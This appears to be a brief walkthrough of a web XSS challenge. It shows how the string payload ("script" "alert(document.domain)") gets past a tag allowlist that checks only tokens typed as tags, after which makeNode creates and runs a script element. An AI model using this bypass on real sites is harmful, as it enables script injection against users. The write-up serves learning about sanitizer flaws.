you can try it out in link
the payload i used is (“script” “alert(document.domain)")
the payload is taken from the input param and is assigned to input the first check is the switch case statement which check and assigns types,val is append it to tokens
[ {
"type": "paren",
"val": "("
},
{
"type": "string",
"val": "script"
},
{
"type": "string",
"val": "alert(document.domain)"
},
{
"type": "paren",
"val": ")"
}
]
so the above object is the tokens object from the payload and the next filter check for the tags (‘h1’, ‘h2’, ‘h3’, ‘div’, ‘ul’, ‘ol’, ‘li’, ‘b’, ‘strong’, ‘em’, ‘br’, ‘p’) and
if (t.type == "tag" && !allowedTags.includes(t.val))
check if each json type is tag and check for the the above tags in the val of each json object as our object doesnt contain any elements of type tag so it bypass the check
so the next is parse() which is used to remove element with val ‘(’ and ‘)’ from tokens and on next line it saves to object ast
[
[
"script",
"alert(document.domain)"
]
]
so in next the they iterate through ast and call makeNode() for each element and in makeNode(exp) we can see in the below code
const type = exp[0]
const node = document.createElement(type)
it takes the first element and create a html tag of that name so here a script tag is created and
for (let i = 1; i < exp.length; i++){
let arg = exp[i]
if (typeof arg == "string"){
node.appendChild(document.createTextNode(arg))
continue
}
node.appendChild(makeNode(arg))
}
return node
above for loop iterates through and add the next element as the content in our case alert(document.domain) and it attaches to the script tag create above and then appended into the div with output as id and the xss is triggered